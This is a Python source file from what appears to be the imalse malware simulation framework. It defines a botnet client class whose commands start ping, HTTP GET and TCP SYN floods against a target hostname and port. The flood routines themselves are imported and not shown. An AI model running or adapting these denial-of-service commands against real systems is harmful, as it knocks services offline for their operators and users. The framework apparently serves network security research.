imalse / scenario / ddos_flooding /


This file contains the Client Command Meta Description for the ddos ping
flooding scenario.

from core.real import PhysicalNode 
from core.nodes.client import ClientCMD as CCMD

from scenario.ddos_flooding.config import ClientDescription
from scenario.ddos_flooding.attacks.http_get_flood import start_http_get_flood
from scenario.ddos_flooding.attacks.tcp_syn_flood import start_syn_flood
from scenario.ddos_flooding.attacks.ping_flood import start_ping_flood
class ClientCMD(CCMD):
    """This class is a subclass of ClientCMD."""
    def __init__(self, desc=None):
        if desc == None:
            desc = ClientDescription()
        CCMD.__init__(self, desc)

    def ping_flood(self, sock, data):
        """Start ping flood."""        
        start_ping_flood(self.node, sock, data)

    def get_request_flood(self, sock, data):
        """Start http get request flood."""
        start_http_get_flood(data.hostname, data.port, data.num_requests, data.num_threads)
    def syn_flood(self, sock, data):
        """Start TCP syn flood."""
        start_syn_flood(data.hostname, data.port, data.num_packets, data.num_threads)
if __name__ == "__main__":
    cmd = ClientCMD()
    node = PhysicalNode()